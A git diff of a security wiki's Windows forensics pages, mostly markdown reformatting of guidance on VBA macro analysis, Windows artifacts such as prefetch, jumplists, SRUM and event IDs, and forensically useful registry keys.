challenge is not to find hidden static data, but to **analyze a VBA macro** to determine its behavior. This is a more realistic scenario, and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated, since VBA is [typically just used as a jumping-off platform to bootstrap code execution](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don't need to own a license to Microsoft Office to debug this. You can use [Libre Office](http://libreoffice.org/): [its interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line: +Sometimes the challenge is not to find hidden static data, but to **analyze a VBA macro **to determine its behavior. This is a more realistic scenario, and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated, since VBA is [typically just used as a jumping-off platform to bootstrap code execution](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don't need to own a license to Microsoft Office to debug this. You can use [Libre Office](http://libreoffice.org): [its interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line: -```text +``` $ soffice path/to/test.docx macro://./standard.module1.mymacro ``` @@ -71,4 +71,3 @@ Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automat ## References * [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) - diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index 6d014ac3..e92b8e52 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -4,54 +4,54 @@ ### Windows 10 Notifications -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` \(before Windows anniversary\) or `wpndatabase.db` \(after Windows Anniversary\). +In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). -Inside this SQLite database you can find the `Notification` table with all the notifications \(in xml format\) that may contain interesting data. +Inside this SQLite database you can find the `Notification` table with all the notifications (in xml format) that may contain interesting data. ### Timeline -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, executed applications... -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` +Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, executed applications...\ +The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`\ This database can be open with a SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). ### ADS/Alternate Data Streams -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** was **downloaded** \(from the intranet, Internet...\) and some software \(like browser\) usually put even **more** **information** like the **URL** from where the file was downloaded. +Files downloaded may contain the **ADS Zone.Identifier** indicating **how **was **downloaded **(from the intranet, Internet...) and some software (like browser) usually put even **more** **information **like the **URL **from where the file was downloaded. ## **File Backups** ### Recycle Bin -In Vista/Win7/Win8/Win10 the **Reciclye Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive \(`C:\$Reciycle.bin`\). +In Vista/Win7/Win8/Win10 the **Reciclye Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Reciycle.bin`).\ When a file is deleted in this folder are created 2 files: -* `$I{id}`: File information \(date of when it was deleted} +* `$I{id}`: File information (date of when it was deleted} * `$R{id}`: Content of the file -![](../../../.gitbook/assets/image%20%28492%29.png) +![](<../../../.gitbook/assets/image (486).png>) -Having these files you can sue the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted \(use `rifiuti-vista.exe` for Vista – Win10\). +Having these files you can sue the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). -```text +``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` -![](../../../.gitbook/assets/image%20%28495%29%20%281%29%20%281%29.png) +![](<../../../.gitbook/assets/image (495) (1) (1).png>) ### Volume Shadow Copies -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use.\ These backups are usually located in the `\System Volume Information` from the roof of the file system and the name is composed by **UIDs** as in the following image: -![](../../../.gitbook/assets/image%20%28522%29.png) +![](<../../../.gitbook/assets/image (520).png>) Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. -![](../../../.gitbook/assets/image%20%28525%29.png) +![](<../../../.gitbook/assets/image (521).png>) The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: -![](../../../.gitbook/assets/image%20%28523%29.png) +![](<../../../.gitbook/assets/image (522).png>) The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. @@ -63,7 +63,7 @@ You can find the office autosaved files in : `C:\Usuarios\\AppData\Roaming\Micro A shell item is an item that contains information about how to access another file. -### Recent Documents \(LNK\) +### Recent Documents (LNK) Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: @@ -72,7 +72,7 @@ Windows **automatically** **creates** these **shortcuts** when the user **open, When a folder is created, a link to the folder, to the parent folder and to the grandparent folder is also created. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume informatio**n of where is the file stored and **folder of the target file**. +These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume informatio**n of where is the file stored and **folder of the target file**.\ This information can be useful to recover those files in case they were removed. Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. @@ -83,7 +83,7 @@ In this tools you will find 2 set of timestamps: **FileModifiedDate**, **FileAcc You can get the same information running the Windows cli tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)\*\*\*\* -```text +``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` @@ -95,18 +95,18 @@ These are the recent files that are indicated per application. It's the list of They can be created **automatically or be custom**. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. +The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`.\ The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file \(maybe marked as favorite\) +The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) The **created time** of any jumplist indicates the **first time the file was accessed** and the **modified time the last time**. You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). -![](../../../.gitbook/assets/image%20%28478%29.png) +![](<../../../.gitbook/assets/image (474).png>) -\(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_\) +(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) ### Shellbags @@ -122,7 +122,7 @@ It's possible to identify that a USB device was used thanks to the creation of: Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: -![](../../../.gitbook/assets/image%20%28487%29.png) +![](<../../../.gitbook/assets/image (476).png>) The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. @@ -132,36 +132,36 @@ The files in the folder WPDNSE are a copy of the original ones, then won't survi ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced \(search for `Section start`\). +Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). -![](../../../.gitbook/assets/image%20%28477%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%283%29%20%281%29.png) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (3).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com/) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. -![](../../../.gitbook/assets/image%20%28480%29.png) +![](<../../../.gitbook/assets/image (483).png>) ### Plug and Play Cleanup -The 'Plug and Play Cleanup' scheduled task is responsible for **clearing** legacy versions of drivers. It would appear \(based upon reports online\) that it also picks up **drivers which have not been used in 30 days**, despite its description stating that "the most current version of each driver package will be kept". As such, **removable devices which have not been connected for 30 days may have their drivers removed**. +The 'Plug and Play Cleanup' scheduled task is responsible for **clearing** legacy versions of drivers. It would appear (based upon reports online) that it also picks up **drivers which have not been used in 30 days**, despite its description stating that "the most current version of each driver package will be kept". As such, **removable devices which have not been connected for 30 days may have their drivers removed**.\ The scheduled task itself is located at ‘C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup’, and its content is displayed below: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -The task references 'pnpclean.dll' which is responsible for performing the cleanup activity additionally we see that the ‘UseUnifiedSchedulingEngine’ field is set to ‘TRUE’ which specifies that the generic task scheduling engine is used to manage the task. The ‘Period’ and ‘Deadline’ values of 'P1M' and 'P2M' within ‘MaintenanceSettings’ instruct Task Scheduler to execute the task once every month during regular Automatic maintenance and if it fails for 2 consecutive months, to start attempting the task during. +The task references 'pnpclean.dll' which is responsible for performing the cleanup activity additionally we see that the ‘UseUnifiedSchedulingEngine’ field is set to ‘TRUE’ which specifies that the generic task scheduling engine is used to manage the task. The ‘Period’ and ‘Deadline’ values of 'P1M' and 'P2M' within ‘MaintenanceSettings’ instruct Task Scheduler to execute the task once every month during regular Automatic maintenance and if it fails for 2 consecutive months, to start attempting the task during.\ **This section was copied from** [**here**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**.** ## Emails The emails contains **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: -* **Who** send the emails \(email address, IP, mail servers that has redirected the email\) +* **Who** send the emails (email address, IP, mail servers that has redirected the email) * **When** was the email sent Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: -![](../../../.gitbook/assets/image%20%28491%29.png) +![](<../../../.gitbook/assets/image (484).png>) ### Windows Mail App @@ -178,18 +178,18 @@ When Exchange servers or Outlook clients are used there are going to be some MAP * `Mapi-Client-Submit-Time`: Time of the system when the email was sent * `Mapi-Conversation-Index`: Number of children message of the thread and timestamp of each message of the thread * `Mapi-Entry-ID`: Message identifier. -* `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client \(message read? no read? responded? redirected? out of the office?\) +* `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) In the Microsoft Outlook client all the sent and received messages, contacts and calendar data is stored in a PST file in: -* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` \(WinXP\) +* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) * `%USERPROFILE%\AppData\Local\Microsoft\Outlook` The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messagin Subsystem\Profiles\Outlook` indicates the file that is being used. You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). -![](../../../.gitbook/assets/image%20%28494%29.png) +![](<../../../.gitbook/assets/image (485).png>) ### Outlook OST @@ -201,8 +201,8 @@ You can inspect this file using [**Kernel OST viewer**](https://www.nucleustechn You may be able to find them in the folder: -* `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10 -* `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+ +* `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10 +* `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+ ### Thunderbird MBOX @@ -210,21 +210,21 @@ You may be able to find them in the folder: ## Thumbnails -When a user access a folder and organised it using thumbnails, then a `thumbs.db` file is created. This db **stores the thumbnails of the images** of the folder even if they are deleted. -in winXP and WIn8-8.1 this file is created automatically. In Win7/Win10, it's created automatically if it's accessed via an UNC path \(\IP\folder...\). +When a user access a folder and organised it using thumbnails, then a `thumbs.db` file is created. This db **stores the thumbnails of the images** of the folder even if they are deleted.\ +in winXP and WIn8-8.1 this file is created automatically. In Win7/Win10, it's created automatically if it's accessed via an UNC path (\IP\folder...). -It is possible to read this file with the tool [**Thumbsviewer**](https://thumbsviewer.github.io/). +It is possible to read this file with the tool [**Thumbsviewer**](https://thumbsviewer.github.io). ### Thumbcache -Beginning with Windows Vista, **thumbnail previews are stored in a centralized location on the system**. This provides the system with access to images independent of their location, and addresses issues with the locality of Thumbs.db files. The cache is stored at **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** as a number of files with the label **thumbcache\_xxx.db** \(numbered by size\); as well as an index used to find thumbnails in each sized database. +Beginning with Windows Vista, **thumbnail previews are stored in a centralized location on the system**. This provides the system with access to images independent of their location, and addresses issues with the locality of Thumbs.db files. The cache is stored at **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** as a number of files with the label **thumbcache_xxx.db** (numbered by size); as well as an index used to find thumbnails in each sized database. -* Thumbcache\_32.db -> small -* Thumbcache\_96.db -> medium -* Thumbcache\_256.db -> large -* Thumbcache\_1024.db -> extra large +* Thumbcache\_32.db -> small +* Thumbcache\_96.db -> medium +* Thumbcache\_256.db -> large +* Thumbcache\_1024.db -> extra large -You can read this file using [**ThumbCache Viewer**](https://thumbcacheviewer.github.io/). +You can read this file using [**ThumbCache Viewer**](https://thumbcacheviewer.github.io). ## Windows Registry @@ -239,7 +239,7 @@ The files containing the registry are located in: * %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE` * %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER` -From Windows Vista and Windows 2008 Server upwards there are some backups of the `HKEY_LOCAL_MACHINE` registry files in **`%Windir%\System32\Config\RegBack\`**. +From Windows Vista and Windows 2008 Server upwards there are some backups of the `HKEY_LOCAL_MACHINE` registry files in **`%Windir%\System32\Config\RegBack\`**.\ Also from these versions, the registry file **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** is created saving information about program executions. ### Tools @@ -261,12 +261,14 @@ Each Key-Value contains a **timestamp** indicating the last time it was modified ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system.\ In `SAM\Domains\Account\Users` you can obtain the username, the RID, last logon, last failed logon, login counter, password policy and when the account was created. In order to get the **hashes** you also **need** the file/hive **SYSTEM**. ### Interesting entries in the Windows Registry -{% page-ref page="interesting-windows-registry-keys.md" %} +{% content-ref url="interesting-windows-registry-keys.md" %} +[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md) +{% endcontent-ref %} ## Programs Executed @@ -274,7 +276,9 @@ In `SAM\Domains\Account\Users` you can obtain the username, the RID, last logon, in the following page you can learn about the basic Windows processes to detect suspicious behaviours: -{% page-ref page="windows-processes.md" %} +{% content-ref url="windows-processes.md" %} +[windows-processes.md](windows-processes.md) +{% endcontent-ref %} ### Windows RecentAPPs @@ -282,16 +286,16 @@ Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version ### BAM -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** \(note the `{SID}` in the path\) and at **what time** they were executed \(the time is inside the Data value of the registry\). +You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). ### Windows Prefetch Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed in less time. -Windows prefetch consist on creating **caches of the executed programs** in order to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. +Windows prefetch consist on creating **caches of the executed programs** in order to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`.\ there is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. -The file name is created as `{program_name}-{hash}.pf` \(the hash is based on the path and arguments of the executable\). In W10 these files are compressed. +The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed.\ Note that the sole presence of the file indicates that **the program was executed** at some point. The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. @@ -302,11 +306,11 @@ To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/E .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` -![](../../../.gitbook/assets/image%20%28496%29.png) +![](<../../../.gitbook/assets/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service. +**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. @@ -315,7 +319,7 @@ You can access this information using the tool [**CrowdResponse**](https://www.c ### SRUM -**System Resource Usage Monitor** \(SRUM\) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data en an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data en an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. It gives the information: @@ -329,13 +333,13 @@ It gives the information: This information is updated every 60mins. -You can obtain the date from this file using the tool [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). +You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` -### AppCompatCache \(ShimCache\) +### AppCompatCache (ShimCache) **Shimcache**, also known as **AppCompatCache**, is a component of the **Application Compatibility Database**, which was created by **Microsoft** and used by the operating system to identify application compatibility issues. @@ -343,21 +347,21 @@ The cache stores various file metadata depending on the operating system, such a * File Full Path * File Size -* **$Standard\_Information** \(SI\) Last Modified time +* **$Standard_Information** (SI) Last Modified time * Shimcache Last Updated time * Process Execution Flag This information can be found in the registry in: * `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` - * XP \(96 entries\) + * XP (96 entries) * `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` - * Server 2003 \(512 entries\) - * 2008/2012/2016 Win7/Win8/Win10 \(1024 entries\) + * Server 2003 (512 entries) + * 2008/2012/2016 Win7/Win8/Win10 (1024 entries) You can use the tool [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) to parse this information. -![](../../../.gitbook/assets/image%20%28497%29.png) +![](<../../../.gitbook/assets/image (488).png>) ### Amcache @@ -389,12 +393,12 @@ You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\` +The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. Inside the Application table of this database it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". This columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` +It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Events @@ -402,10 +406,10 @@ And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVers Information that appears inside Windows events: * What happened -* Timestamp \(UTC + 0\) +* Timestamp (UTC + 0) * Users involved -* Hosts involved \(hostname, IP\) -* Assets accessed \(files, folder, printer, services\) +* Hosts involved (hostname, IP) +* Assets accessed (files, folder, printer, services) The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. @@ -413,11 +417,11 @@ Before Windows Vista the event logs were in binary format and after it, they are The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer \(**`eventvwr.msc`**\) or with other tools like [**Event Log Explorer**](https://eventlogxp.com/) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com)** or **[**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** ### Security -These event register the accesses and give information about the security configuration. +These event register the accesses and give information about the security configuration.\ they can be found in `C:\Windows\System32\winevt\Security.evtx`. The **max size** of the event file is configurable, and it will start overwriting old events when the maximum size is reached. @@ -431,32 +435,32 @@ Events that are registered: Events related to the user authentication: -| EventID | Description | -| :--- | :--- | -| 4624 | Successful authentication | -| 4625 | Authentication error | -| 4634/4647 | log off | -| 4672 | Logon with admin permissions | +| EventID | Description | +| --------- | ---------------------------- | +| 4624 | Successful authentication | +| 4625 | Authentication error | +| 4634/4647 | log off | +| 4672 | Logon with admin permissions | Inside the EventID 4634/4647 there are interesting sub-types: -* **2 \(interactive\)**: The login was interactive using the keyboard or software like VNC or `PSexec -U-` -* **3 \(network\)**: Connection to a shared folder -* **4 \(Batch\)**: Process executed -* **5 \(service\)**: Service started by the Service Control Manager +* **2 (interactive)**: The login was interactive using the keyboard or software like VNC or `PSexec -U-` +* **3 (network)**: Connection to a shared folder +* **4 (Batch)**: Process executed +* **5 (service)**: Service started by the Service Control Manager * **7**: Screen unblocked using password -* **8 \(network cleartext\)**: User authenticated sendin clear text passwords. This event use to come from the IIS -* **9 \(new credentials\)**: It's generated when the command `RunAs` is used or the user access to a network service with different credentials. -* **10 \(remote interactive\)**: Authentication via Terminal Services or RDP -* **11 \(cache interactive\)**: Access using the last cached credentials because it wasn't possible to contact the domain controller +* **8 (network cleartext)**: User authenticated sendin clear text passwords. This event use to come from the IIS +* **9 (new credentials)**: It's generated when the command `RunAs` is used or the user access to a network service with different credentials. +* **10 (remote interactive)**: Authentication via Terminal Services or RDP +* **11 (cache interactive)**: Access using the last cached credentials because it wasn't possible to contact the domain controller The Status and sub status information of the event s can indicate more details about the causes of the event. For example take a look to the following Status and Sub Status Codes of the Event ID 4625: -![](../../../.gitbook/assets/image%20%28455%29.png) +![](<../../../.gitbook/assets/image (455).png>) ### Recovering Windows Events -It's highly recommended to turn off the suspicious PC by **unplugging it** to maximize the probabilities of recovering the Windows Events. In case they were deleted, a tool that can be useful to try to recover them is [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) indicating the **evtx** extension. +It's highly recommended to turn off the suspicious PC by **unplugging it** to maximize the probabilities of recovering the Windows Events. In case they were deleted, a tool that can be useful to try to recover them is [**Bulk_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) indicating the **evtx** extension. ## Identifying Common Attacks with Windows Events @@ -466,7 +470,7 @@ A brute-force attack can be easily identifiable because **several EventIDs 4625 ### Time Change -This is awful for the forensics team as all the timestamps will be modified. +This is awful for the forensics team as all the timestamps will be modified.\ This event is recorded by the EventID 4616 inside the Security Event log. ### USB devices @@ -485,4 +489,3 @@ The ID 6005 of the "Event Log" service indicates the PC was turned On. The ID 60 ### Logs Deletion The Security EventID 1102 indicates the logs were deleted. - diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 3acaa172..cfc515ff 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -16,29 +16,29 @@ ### Last Access Time -* **`System\ControlSet001\Control\Filesystem`**: Last time access \(by default it's disabled with `NtfsDisableLastAccessUpdate=1`, if `0`, then, it's enabled\). +* **`System\ControlSet001\Control\Filesystem`**: Last time access (by default it's disabled with `NtfsDisableLastAccessUpdate=1`, if `0`, then, it's enabled). * To enable it: `fsutil behavior set disablelastaccess 0` ### Shutdown Time * `System\ControlSet001\Control\Windows`: Shutdown time -* `System\ControlSet001\Control\Watchdog\Display`: Shutdown count \(only XP\) +* `System\ControlSet001\Control\Watchdog\Display`: Shutdown count (only XP) ### Network Information * **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: Network interfaces * **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`**: First and last time a network connection was performed and connections through VPN -* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` \(for XP\) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: Network type \(0x47-wireless, 0x06-cable, 0x17-3G\) an category \(0-Public, 1-Private/Home, 2-Domain/Work\) and last connections +* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (for XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: Network type (0x47-wireless, 0x06-cable, 0x17-3G) an category (0-Public, 1-Private/Home, 2-Domain/Work) and last connections ### Shared Folders -* **`System\ControlSet001\Services\lanmanserver\Shares\`**: Share folders and their configurations. If **Client Side Caching** \(CSCFLAGS\) is enabled, then, a copy of the shared files will be saved in the clients and server in `C:\Windows\CSC` - * CSCFlag=0 -> By default the user needs to indicate the files that he wants to cache - * CSCFlag=16 -> Automatic caching documents. “All files and programs that users open from the shared folder are automatically available offline” with the “optimize for performance" unticked. - * CSCFlag=32 -> Like the previous options by “optimize for performance” is ticked - * CSCFlag=48 -> Cache is disabled. +* **`System\ControlSet001\Services\lanmanserver\Shares\`**: Share folders and their configurations. If **Client Side Caching** (CSCFLAGS) is enabled, then, a copy of the shared files will be saved in the clients and server in `C:\Windows\CSC` + * CSCFlag=0 -> By default the user needs to indicate the files that he wants to cache + * CSCFlag=16 -> Automatic caching documents. “All files and programs that users open from the shared folder are automatically available offline” with the “optimize for performance" unticked. + * CSCFlag=32 -> Like the previous options by “optimize for performance” is ticked + * CSCFlag=48 -> Cache is disabled. * CSCFlag=2048: This setting is only on Win 7 & 8 and is the default setting until you disable “Simple file sharing” or use the “advanced” sharing option. It also appears to be the default setting for the “Homegroup” - * CSCFlag=768 -> This setting was only seen on shared Print devices. + * CSCFlag=768 -> This setting was only seen on shared Print devices. ### AutoStart programs @@ -54,7 +54,7 @@ ### Typed Paths -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: Paths types in the explorer \(only W10\) +* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: Paths types in the explorer (only W10) ### Recent Docs @@ -75,7 +75,7 @@ Indicates the path from where the executable was executed -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` \(XP\) +* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` (XP) * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSavePidlMRU` Indicates files opened inside an opened Window @@ -93,7 +93,7 @@ The GUID is the id of the application. Data saved: * Last Run Time * Run Count -* GUI application name \(this contains the abs path and more information\) +* GUI application name (this contains the abs path and more information) * Focus time and Focus name ## Shellbags @@ -110,50 